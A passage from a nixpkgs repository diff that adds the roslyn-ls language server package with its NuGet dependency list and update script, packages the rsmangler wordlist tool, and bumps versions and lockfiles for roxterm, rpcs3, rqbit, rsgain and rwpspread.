"1q8ljvqhasyynp94a1d7jknk946m20lkwy2c3wa8zw2pc517fbj6"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.security.cryptography.protecteddata/4.4.0/system.security.cryptography.protecteddata.4.4.0.nupkg"; }) + (fetchNuGet { pname = "System.Security.Cryptography.ProtectedData"; version = "7.0.0"; sha256 = "15s9s6hsj9bz0nzw41mxbqdjgjd71w2djqbv0aj413gfi9amybk9"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.security.cryptography.protecteddata/7.0.0/system.security.cryptography.protecteddata.7.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Security.Cryptography.Xml"; version = "6.0.0"; sha256 = "0aybd4mp9f8d4kgdnrnad7bmdg872044p75nk37f8a4lvkh2sywd"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.security.cryptography.xml/6.0.0/system.security.cryptography.xml.6.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Security.Cryptography.Xml"; version = "7.0.1"; sha256 = "0p6kx6ag0il7rxxcvm84w141phvr7fafjzxybf920bxwa0jkwzq8"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.security.cryptography.xml/7.0.1/system.security.cryptography.xml.7.0.1.nupkg"; }) + (fetchNuGet { pname = "System.Security.Permissions"; version = "6.0.0"; sha256 = "0jsl4xdrkqi11iwmisi1r2f2qn5pbvl79mzq877gndw6ans2zhzw"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.security.permissions/6.0.0/system.security.permissions.6.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Security.Permissions"; version = "7.0.0"; sha256 = "0wkm6bj4abknzj41ygkziifx8mzhj4bix92wjvj6lihaw1gniq8c"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.security.permissions/7.0.0/system.security.permissions.7.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Security.Principal"; version = "4.3.0"; sha256 = "12cm2zws06z4lfc4dn31iqv7072zyi4m910d4r6wm8yx85arsfxf"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.security.principal/4.3.0/system.security.principal.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Security.Principal.Windows"; version = "5.0.0"; sha256 = "1mpk7xj76lxgz97a5yg93wi8lj0l8p157a5d50mmjy3gbz1904q8"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.security.principal.windows/5.0.0/system.security.principal.windows.5.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Text.Encoding"; version = "4.3.0"; sha256 = "1f04lkir4iladpp51sdgmis9dj4y8v08cka0mbmsy0frc9a4gjqr"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.text.encoding/4.3.0/system.text.encoding.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Text.Encoding.CodePages"; version = "7.0.0"; sha256 = "0sn6hxdjm7bw3xgsmg041ccchsa4sp02aa27cislw3x61dbr68kq"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.text.encoding.codepages/7.0.0/system.text.encoding.codepages.7.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Text.Encoding.Extensions"; version = "4.3.0"; sha256 = "11q1y8hh5hrp5a3kw25cb6l00v5l5dvirkz8jr3sq00h1xgcgrxy"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.text.encoding.extensions/4.3.0/system.text.encoding.extensions.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Text.Encodings.Web"; version = "7.0.0"; sha256 = "1151hbyrcf8kyg1jz8k9awpbic98lwz9x129rg7zk1wrs6vjlpxl"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.text.encodings.web/7.0.0/system.text.encodings.web.7.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Text.Json"; version = "7.0.3"; sha256 = "0zjrnc9lshagm6kdb9bdh45dmlnkpwcpyssa896sda93ngbmj8k9"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.text.json/7.0.3/system.text.json.7.0.3.nupkg"; }) + (fetchNuGet { pname = "System.Threading"; version = "4.3.0"; sha256 = "0rw9wfamvhayp5zh3j7p1yfmx9b5khbf4q50d8k5rk993rskfd34"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.threading/4.3.0/system.threading.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Threading.Channels"; version = "7.0.0"; sha256 = "1qrmqa6hpzswlmyp3yqsbnmia9i5iz1y208xpqc1y88b1f6j1v8a"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.threading.channels/7.0.0/system.threading.channels.7.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Threading.Overlapped"; version = "4.3.0"; sha256 = "1nahikhqh9nk756dh8p011j36rlcp1bzz3vwi2b4m1l2s3vz8idm"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.threading.overlapped/4.3.0/system.threading.overlapped.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Threading.Tasks"; version = "4.3.0"; sha256 = "134z3v9abw3a6jsw17xl3f6hqjpak5l682k2vz39spj4kmydg6k7"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.threading.tasks/4.3.0/system.threading.tasks.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Threading.Tasks.Dataflow"; version = "7.0.0"; sha256 = "0ham9l8xrmlq2qwin53n82iz1wanci2h695i3cq83jcw4n28qdr9"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.threading.tasks.dataflow/7.0.0/system.threading.tasks.dataflow.7.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Threading.Tasks.Extensions"; version = "4.5.4"; sha256 = "0y6ncasgfcgnjrhynaf0lwpkpkmv4a07sswwkwbwb5h7riisj153"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.threading.tasks.extensions/4.5.4/system.threading.tasks.extensions.4.5.4.nupkg"; }) + (fetchNuGet { pname = "System.Threading.Thread"; version = "4.3.0"; sha256 = "0y2xiwdfcph7znm2ysxanrhbqqss6a3shi1z3c779pj2s523mjx4"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.threading.thread/4.3.0/system.threading.thread.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Threading.ThreadPool"; version = "4.3.0"; sha256 = "027s1f4sbx0y1xqw2irqn6x161lzj8qwvnh2gn78ciiczdv10vf1"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.threading.threadpool/4.3.0/system.threading.threadpool.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.ValueTuple"; version = "4.5.0"; sha256 = "00k8ja51d0f9wrq4vv5z2jhq8hy31kac2rg0rv06prylcybzl8cy"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.valuetuple/4.5.0/system.valuetuple.4.5.0.nupkg"; }) + (fetchNuGet { pname = "System.Windows.Extensions"; version = "6.0.0"; sha256 = "1wy9pq9vn1bqg5qnv53iqrbx04yzdmjw4x5yyi09y3459vaa1sip"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.windows.extensions/6.0.0/system.windows.extensions.6.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Windows.Extensions"; version = "7.0.0"; sha256 = "11r9f0v7qp365bdpq5ax023yra4qvygljz18dlqs650d44iay669"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.windows.extensions/7.0.0/system.windows.extensions.7.0.0.nupkg"; }) +] diff --git a/pkgs/by-name/ro/roslyn-ls/package.nix b/pkgs/by-name/ro/roslyn-ls/package.nix new file mode 100644 index 0000000000000..d5b67bfc03428 --- /dev/null +++ b/pkgs/by-name/ro/roslyn-ls/package.nix @@ -0,0 +1,82 @@ +{ lib, fetchFromGitHub, buildDotnetModule, dotnetCorePackages, stdenvNoCC, testers, roslyn-ls, jq }: +let + pname = "roslyn-ls"; + # see https://github.com/dotnet/roslyn/blob/main/eng/targets/TargetFrameworks.props + dotnet-sdk = with dotnetCorePackages; combinePackages [ sdk_6_0 sdk_7_0 sdk_8_0 ]; + # need sdk on runtime as well + dotnet-runtime = dotnetCorePackages.sdk_8_0; + + project = "Microsoft.CodeAnalysis.LanguageServer"; +in +buildDotnetModule rec { + inherit pname dotnet-sdk dotnet-runtime; + + vsVersion = "2.17.7"; + src = fetchFromGitHub { + owner = "dotnet"; + repo = "roslyn"; + rev = "VSCode-CSharp-${vsVersion}"; + hash = "sha256-afsYOMoM4I/CdP6IwThJpGl9M2xx/eDeuOj9CTk2fFI="; + }; + + # versioned independently from vscode-csharp + # "roslyn" in here: + # https://github.com/dotnet/vscode-csharp/blob/main/package.json + version = "4.10.0-2.24102.11"; + projectFile = "src/Features/LanguageServer/${project}/${project}.csproj"; + useDotnetFromEnv = true; + nugetDeps = ./deps.nix; + + nativeBuildInputs = [ jq ]; + + postPatch = '' + # Upstream uses rollForward = latestPatch, which pins to an *exact* .NET SDK version. + jq '.sdk.rollForward = "latestMinor"' < global.json > global.json.tmp + mv global.json.tmp global.json + + substituteInPlace $projectFile \ + --replace-fail \ + '<RuntimeIdentifiers>win-x64;win-x86;win-arm64;linux-x64;linux-arm64;alpine-x64;alpine-arm64;osx-x64;osx-arm64</RuntimeIdentifiers>' \ + '<RuntimeIdentifiers>linux-x64;linux-arm64;osx-x64;osx-arm64</RuntimeIdentifiers>' + ''; + + # two problems solved here: + # 1. --no-build removed -> BuildHost project within roslyn is running Build target during publish + # 2. missing crossgen2 7.* in local nuget directory when PublishReadyToRun=true + # the latter should be fixable here but unsure how + installPhase = + let + rid = dotnetCorePackages.systemToDotnetRid stdenvNoCC.targetPlatform.system; + in + '' + runHook preInstall + + env dotnet publish $projectFile \ + -p:ContinuousIntegrationBuild=true \ + -p:Deterministic=true \ + -p:InformationalVersion=$version \ + -p:UseAppHost=true \ + -p:PublishTrimmed=false \ + -p:PublishReadyToRun=false \ + --configuration Release \ + --no-self-contained \ + --output "$out/lib/$pname" \ + --runtime ${rid} + + runHook postInstall + ''; + + passthru = { + tests.version = testers.testVersion { package = roslyn-ls; }; + updateScript = ./update.sh; + }; + + meta = { + homepage = "https://github.com/dotnet/vscode-csharp"; + description = "The language server behind C# Dev Kit for Visual Studio Code"; + changelog = "https://github.com/dotnet/vscode-csharp/releases/tag/v${vsVersion}"; + license = lib.licenses.mit; + maintainers = with lib.maintainers; [ konradmalik ]; + mainProgram = "Microsoft.CodeAnalysis.LanguageServer"; + }; +} diff --git a/pkgs/by-name/ro/roslyn-ls/update.sh b/pkgs/by-name/ro/roslyn-ls/update.sh new file mode 100755 index 0000000000000..e0d8d1194b4fb --- /dev/null +++ b/pkgs/by-name/ro/roslyn-ls/update.sh @@ -0,0 +1,25 @@ +#! /usr/bin/env nix-shell +#! nix-shell -I nixpkgs=./. -i bash -p curl jq common-updater-scripts +# shellcheck shell=bash + +set -euo pipefail + +cd "$(dirname "${BASH_SOURCE[0]}")" + +old_vs_version="$(sed -nE 's/\s*vsVersion = "(.*)".*/\1/p' ./package.nix)" +new_vs_version="$(curl -s "https://api.github.com/repos/dotnet/vscode-csharp/tags?per_page=1" | jq -r '.[0].name' | sed 's/v//')" + +if [[ "$new_vs_version" == "$old_vs_version" ]]; then + echo "Already up to date!" + exit 0 +fi + +old_roslyn_version="$(sed -nE 's/\s*version = "(.*)".*/\1/p' ./package.nix)" +new_roslyn_version="$(curl -s "https://raw.githubusercontent.com/dotnet/vscode-csharp/v$new_vs_version/package.json" | jq -r .defaults.roslyn)" + +sed -i "s/ = \"${old_roslyn_version}\"/ = \"${new_roslyn_version}\"/" ./package.nix + +cd ../../../.. +update-source-version roslyn-ls "${new_vs_version}" --version-key=vsVersion + +$(nix-build -A roslyn-ls.fetch-deps --no-out-link) diff --git a/pkgs/by-name/ro/roxterm/package.nix b/pkgs/by-name/ro/roxterm/package.nix index 8b4f2e79c2be1..8a978e98b6d43 100644 --- a/pkgs/by-name/ro/roxterm/package.nix +++ b/pkgs/by-name/ro/roxterm/package.nix @@ -31,13 +31,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "roxterm"; - version = "3.14.3"; + version = "3.15.0"; src = fetchFromGitHub { owner = "realh"; repo = "roxterm"; rev = finalAttrs.version; - hash = "sha256-NSOGq3rN+9X4WA8Q0gMbZ9spO/dbZkzeo4zEno/Kgcs="; + hash = "sha256-mmfnpZTCsLJ4EPxsKZXeHBZnpvc2n1TCEPmiIHmnxKc="; }; nativeBuildInputs = [ diff --git a/pkgs/by-name/rp/rpcs3/package.nix b/pkgs/by-name/rp/rpcs3/package.nix index ef87774636b27..058d95bb44143 100644 --- a/pkgs/by-name/rp/rpcs3/package.nix +++ b/pkgs/by-name/rp/rpcs3/package.nix @@ -22,6 +22,7 @@ , flatbuffers , llvm_16 , cubeb +, enableDiscordRpc ? false , faudioSupport ? true , faudio , SDL2 @@ -36,7 +37,7 @@ let rpcs3Revision = "ebf48800e6bf2569fa0a59974ab2daaeb3a92f23"; rpcs3Hash = "sha256-HJQ+DCZy8lwMCfq0N9StKD8bP1hCBxGMAucbQ9esy/I="; - inherit (qt6Packages) qtbase qtmultimedia wrapQtAppsHook; + inherit (qt6Packages) qtbase qtmultimedia wrapQtAppsHook qtwayland; in stdenv.mkDerivation { pname = "rpcs3"; @@ -62,30 +63,32 @@ stdenv.mkDerivation { ''; cmakeFlags = [ - "-DUSE_SYSTEM_ZLIB=ON" - "-DUSE_SYSTEM_LIBUSB=ON" - "-DUSE_SYSTEM_LIBPNG=ON" - "-DUSE_SYSTEM_FFMPEG=ON" - "-DUSE_SYSTEM_CURL=ON" - "-DUSE_SYSTEM_WOLFSSL=ON" - "-DUSE_SYSTEM_FAUDIO=ON" - "-DUSE_SYSTEM_PUGIXML=ON" - "-DUSE_SYSTEM_FLATBUFFERS=ON" - "-DUSE_SYSTEM_SDL=ON" - "-DWITH_LLVM=ON" - "-DBUILD_LLVM=OFF" - "-DUSE_NATIVE_INSTRUCTIONS=OFF" - "-DUSE_FAUDIO=${if faudioSupport then "ON" else "OFF"}" + (lib.cmakeBool "USE_SYSTEM_ZLIB" true) + (lib.cmakeBool "USE_SYSTEM_LIBUSB" true) + (lib.cmakeBool "USE_SYSTEM_LIBPNG" true) + (lib.cmakeBool "USE_SYSTEM_FFMPEG" true) + (lib.cmakeBool "USE_SYSTEM_CURL" true) + (lib.cmakeBool "USE_SYSTEM_WOLFSSL" true) + (lib.cmakeBool "USE_SYSTEM_FAUDIO" true) + (lib.cmakeBool "USE_SYSTEM_PUGIXML" true) + (lib.cmakeBool "USE_SYSTEM_FLATBUFFERS" true) + (lib.cmakeBool "USE_SYSTEM_SDL" true) + (lib.cmakeBool "USE_SDL" true) + (lib.cmakeBool "WITH_LLVM" true) + (lib.cmakeBool "BUILD_LLVM" false) + (lib.cmakeBool "USE_NATIVE_INSTRUCTIONS" false) + (lib.cmakeBool "USE_DISCORD_RPC" enableDiscordRpc) + (lib.cmakeBool "USE_FAUDIO" faudioSupport) ]; nativeBuildInputs = [ cmake pkg-config git wrapQtAppsHook ]; buildInputs = [ qtbase qtmultimedia openal glew vulkan-headers vulkan-loader libpng ffmpeg - libevdev zlib libusb1 curl wolfssl python3 pugixml flatbuffers llvm_16 libSM + libevdev zlib libusb1 curl wolfssl python3 pugixml SDL2 flatbuffers llvm_16 libSM ] ++ cubeb.passthru.backendLibs - ++ lib.optionals faudioSupport [ faudio SDL2 ] - ++ lib.optional waylandSupport wayland; + ++ lib.optional faudioSupport faudio + ++ lib.optionals waylandSupport [ wayland qtwayland ]; postInstall = '' # Taken from https://wiki.rpcs3.net/index.php?title=Help:Controller_Configuration diff --git a/pkgs/by-name/rq/rqbit/Cargo.lock b/pkgs/by-name/rq/rqbit/Cargo.lock index 4e4072d44157a..571545d740e37 100644 --- a/pkgs/by-name/rq/rqbit/Cargo.lock +++ b/pkgs/by-name/rq/rqbit/Cargo.lock @@ -175,18 +175,18 @@ dependencies = [ [[package]] name = "axum" -version = "0.7.3" +version = "0.7.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d09dbe0e490df5da9d69b36dca48a76635288a82f92eca90024883a56202026d" +checksum = "1236b4b292f6c4d6dc34604bb5120d85c3fe1d1aa596bd5cc52ca054d13e7b9e" dependencies = [ "async-trait", - "axum-core 0.4.2", + "axum-core 0.4.3", "bytes", "futures-util", "http 1.0.0", "http-body 1.0.0", "http-body-util", - "hyper 1.1.0", + "hyper 1.2.0", "hyper-util", "itoa", "matchit", @@ -226,9 +226,9 @@ dependencies = [ [[package]] name = "axum-core" -version = "0.4.2" +version = "0.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e87c8503f93e6d144ee5690907ba22db7ba79ab001a932ab99034f0fe836b3df" +checksum = "a15c63fd72d41492dc4f497196f5da1fb04fb7529e631d73630d1b491e47a2e3" dependencies = [ "async-trait", "bytes", @@ -868,9 +868,9 @@ dependencies = [ [[package]] name = "h2" -version = "0.4.0" +version = "0.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e1d308f63daf4181410c242d34c11f928dcb3aa105852019e043c9d1f4e4368a" +checksum = "31d030e59af851932b72ceebadf4a2b5986dba4c3b99dd2493f8273a0f151943" dependencies = [ "bytes", "fnv", @@ -1034,20 +1034,21 @@ dependencies = [ [[package]] name = "hyper" -version = "1.1.0" +version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fb5aa53871fc917b1a9ed87b683a5d86db645e23acb32c2e0785a353e522fb75" +checksum = "186548d73ac615b32a73aafe38fb4f56c0d340e110e5a200bcadbaf2e199263a" dependencies = [ "bytes", "futures-channel", "futures-util", - "h2 0.4.0", + "h2 0.4.2", "http 1.0.0", "http-body 1.0.0", "httparse", "httpdate", "itoa", "pin-project-lite", + "smallvec", "tokio", ] @@ -1101,7 +1102,7 @@ dependencies = [ "futures-util", "http 1.0.0", "http-body 1.0.0", - "hyper 1.1.0", + "hyper 1.2.0", "pin-project-lite", "socket2", "tokio", @@ -1253,10 +1254,10 @@ dependencies = [ [[package]] name = "librqbit" -version = "5.4.2" +version = "5.5.0" dependencies = [ "anyhow", - "axum 0.7.3", + "axum 0.7.4", "backoff", "base64", "bincode", @@ -2025,7 +2026,7 @@ dependencies = [ [[package]] name = "rqbit" -version = "5.4.2" +version = "5.5.0" dependencies = [ "anyhow", "bytes", @@ -2291,9 +2292,9 @@ dependencies = [ [[package]] name = "smallvec" -version = "1.11.2" +version = "1.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4dccd0940a2dcdf68d092b8cbab7dc0ad8fa938bf95787e1b916b0e3d0e8e970" +checksum = "e6ecd384b10a64542d77071bd64bd7b231f4ed5940fba55e98c3de13824cf3d7" [[package]] name = "socket2" diff --git a/pkgs/by-name/rq/rqbit/package.nix b/pkgs/by-name/rq/rqbit/package.nix index 42b3c9e61aa61..2553acc39631e 100644 --- a/pkgs/by-name/rq/rqbit/package.nix +++ b/pkgs/by-name/rq/rqbit/package.nix @@ -2,13 +2,13 @@ rustPlatform.buildRustPackage rec { pname = "rqbit"; - version = "5.4.2"; + version = "5.5.0"; src = fetchFromGitHub { owner = "ikatson"; repo = "rqbit"; rev = "v${version}"; - hash = "sha256-ZC68RQi0UcdALKVgwRUyO0+ZmKtGMjudYQabsAnghzg="; + hash = "sha256-3Wqej2Zb/RxxOOhWscZiyafGftl3ShozqVkUF7V0fP4="; }; cargoLock = { diff --git a/pkgs/by-name/rs/rsgain/package.nix b/pkgs/by-name/rs/rsgain/package.nix index 79b86ca95493b..adb2be57332cc 100644 --- a/pkgs/by-name/rs/rsgain/package.nix +++ b/pkgs/by-name/rs/rsgain/package.nix @@ -13,13 +13,13 @@ stdenv.mkDerivation rec { pname = "rsgain"; - version = "3.4"; + version = "3.5"; src = fetchFromGitHub { owner = "complexlogic"; repo = "rsgain"; rev = "v${version}"; - sha256 = "sha256-AiNjsrwTF6emcwXo2TPMbs8mLavGS7NsvytAppMGKfY="; + sha256 = "sha256-qIRtdgfGDNbZk9TQ3GC3lYetRqjOk8QPhAb4MuFuN0U="; }; cmakeFlags = ["-DCMAKE_BUILD_TYPE='Release'"]; diff --git a/pkgs/by-name/rs/rsmangler/package.nix b/pkgs/by-name/rs/rsmangler/package.nix new file mode 100644 index 0000000000000..7621eb14a752a --- /dev/null +++ b/pkgs/by-name/rs/rsmangler/package.nix @@ -0,0 +1,45 @@ +{ lib +, stdenvNoCC +, fetchFromGitHub +, testers +, ruby +}: + +stdenvNoCC.mkDerivation (finalAttrs: { + pname = "rsmangler"; + version = "1.5-unstable-2019-07-24"; + + src = fetchFromGitHub { + owner = "digininja"; + repo = "RSMangler"; + rev = "e85da7d4a6e6241a92389aecf376077adc7544c3"; + hash = "sha256-DN20XzrlkunLyk4nkgytUJEtCOlFjWUUUAQ416l3Aug="; + }; + + buildInputs = [ ruby ]; + + postPatch = '' + substituteInPlace rsmangler.rb \ + --replace-quiet ./rsmangler.rb rsmangler \ + --replace-quiet rsmangler.rb rsmangler + ''; + + postInstall = '' + install -Dm555 rsmangler.rb $out/bin/rsmangler + ''; + + passthru.tests.version = testers.testVersion { + package = finalAttrs.finalPackage; + command = "rsmangler --help"; + version = "rsmangler v ${lib.versions.majorMinor finalAttrs.version}"; + }; + + meta = with lib; { + description = "Perform various manipulations on the wordlists"; + homepage = "https://github.com/digininja/RSMangler"; + license = licenses.cc-by-sa-20; + mainProgram = "rsmangler"; + maintainers = with maintainers; [ d3vil0p3r ]; + platforms = ruby.meta.platforms; + }; +}) diff --git a/pkgs/by-name/rw/rwpspread/Cargo.lock b/pkgs/by-name/rw/rwpspread/Cargo.lock index b217edac3f96b..c965723f5420f 100644 --- a/pkgs/by-name/rw/rwpspread/Cargo.lock +++ b/pkgs/by-name/rw/rwpspread/Cargo.lock @@ -10,9 +10,9 @@ checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" [[package]] name = "anstream" -version = "0.6.11" +version = "0.6.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6e2e1ebcb11de5c03c67de28a7df593d32191b44939c482e97702baaaa6ab6a5" +checksum = "96b09b5178381e0874812a9b157f7fe84982617e48f71f4e3235482775e5b540" dependencies = [ "anstyle", "anstyle-parse", @@ -135,9 +135,9 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" [[package]] name = "clap" -version = "4.5.0" +version = "4.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "80c21025abd42669a92efc996ef13cfb2c5c627858421ea58d5c3b331a6c134f" +checksum = "c918d541ef2913577a0f9566e9ce27cb35b6df072075769e0b26cb5a554520da" dependencies = [ "clap_builder", "clap_derive", @@ -145,9 +145,9 @@ dependencies = [ [[package]] name = "clap_builder" -version = "4.5.0" +version = "4.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "458bf1f341769dfcf849846f65dffdf9146daa56bcd2a47cb4e1de9915567c99" +checksum = "9f3e7391dad68afb0c2ede1bf619f579a3dc9c2ec67f089baa397123a2f3d1eb" dependencies = [ "anstream", "anstyle", @@ -196,9 +196,9 @@ dependencies = [ [[package]] name = "crc32fast" -version = "1.3.2" +version = "1.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d" +checksum = "b3855a8a784b474f333699ef2bbca9db2c4a1f6d9088a90a2d25b1eb53111eaa" dependencies = [ "cfg-if", ] @@ -379,9 +379,9 @@ dependencies = [ [[package]] name = "indexmap" -version = "2.2.2" +version = "2.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "824b2ae422412366ba479e8111fd301f7b5faece8149317bb81925979a53f520" +checksum = "233cf39063f058ea2caae4091bf4a3ef70a653afbc026f5c4a4135d114e3c177" dependencies = [ "equivalent", "hashbrown", @@ -488,15 +488,15 @@ checksum = "8afb450f006bf6385ca15ef45d71d2288452bc3683ce2e2cacc0d18e4be60b58" [[package]] name = "pkg-config" -version = "0.3.29" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2900ede94e305130c13ddd391e0ab7cbaeb783945ae07a279c268cb05109c6cb" +checksum = "d231b230927b5e4ad203db57bbcbee2802f6bce620b1e4a9024a07d94e2907ec" [[package]] name = "png" -version = "0.17.11" +version = "0.17.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1f6c3c3e617595665b8ea2ff95a86066be38fb121ff920a9c0eb282abcd1da5a" +checksum = "06e4b0d3d1312775e782c86c91a111aa1f910cbb65e1337f9975b5f9a554b5e1" dependencies = [ "bitflags 1.3.2", "crc32fast", @@ -507,9 +507,9 @@ dependencies = [ [[package]] name = "polling" -version = "3.4.0" +version = "3.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "30054e72317ab98eddd8561db0f6524df3367636884b7b21b703e4b280a84a14" +checksum = "24f040dee2588b4963afb4e420540439d126f73fdacf4a9c486a96d840bac3c9" dependencies = [ "cfg-if", "concurrent-queue", @@ -590,7 +590,7 @@ dependencies = [ [[package]] name = "rwpspread" -version = "0.1.9-1" +version = "0.2.1-1" dependencies = [ "clap", "glob", @@ -604,9 +604,9 @@ dependencies = [ [[package]] name = "ryu" -version = "1.0.16" +version = "1.0.17" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f98d2aa92eebf49b69786be48e4477826b256916e84a57ff2a4f21923b48eb4c" +checksum = "e86697c916019a8588c99b5fac3cead74ec0b4b819707a682fd4d23fa0ce1ba1" [[package]] name = "scoped-tls" @@ -722,9 +722,9 @@ checksum = "5ee073c9e4cd00e28217186dbe12796d692868f432bf2e97ee73bed0c56dfa01" [[package]] name = "syn" -version = "2.0.48" +version = "2.0.49" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f" +checksum = "915aea9e586f80826ee59f8453c1101f9d1c4b3964cd2460185ee8e299ada496" dependencies = [ "proc-macro2", "quote", @@ -733,18 +733,18 @@ dependencies = [ [[package]] name = "thiserror" -version = "1.0.56" +version = "1.0.57" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d54378c645627613241d077a3a79db965db602882668f9136ac42af9ecb730ad" +checksum = "1e45bcbe8ed29775f228095caf2cd67af7a4ccf756ebff23a306bf3e8b47b24b" dependencies = [ "thiserror-impl", ] [[package]] name = "thiserror-impl" -version = "1.0.56" +version = "1.0.57" 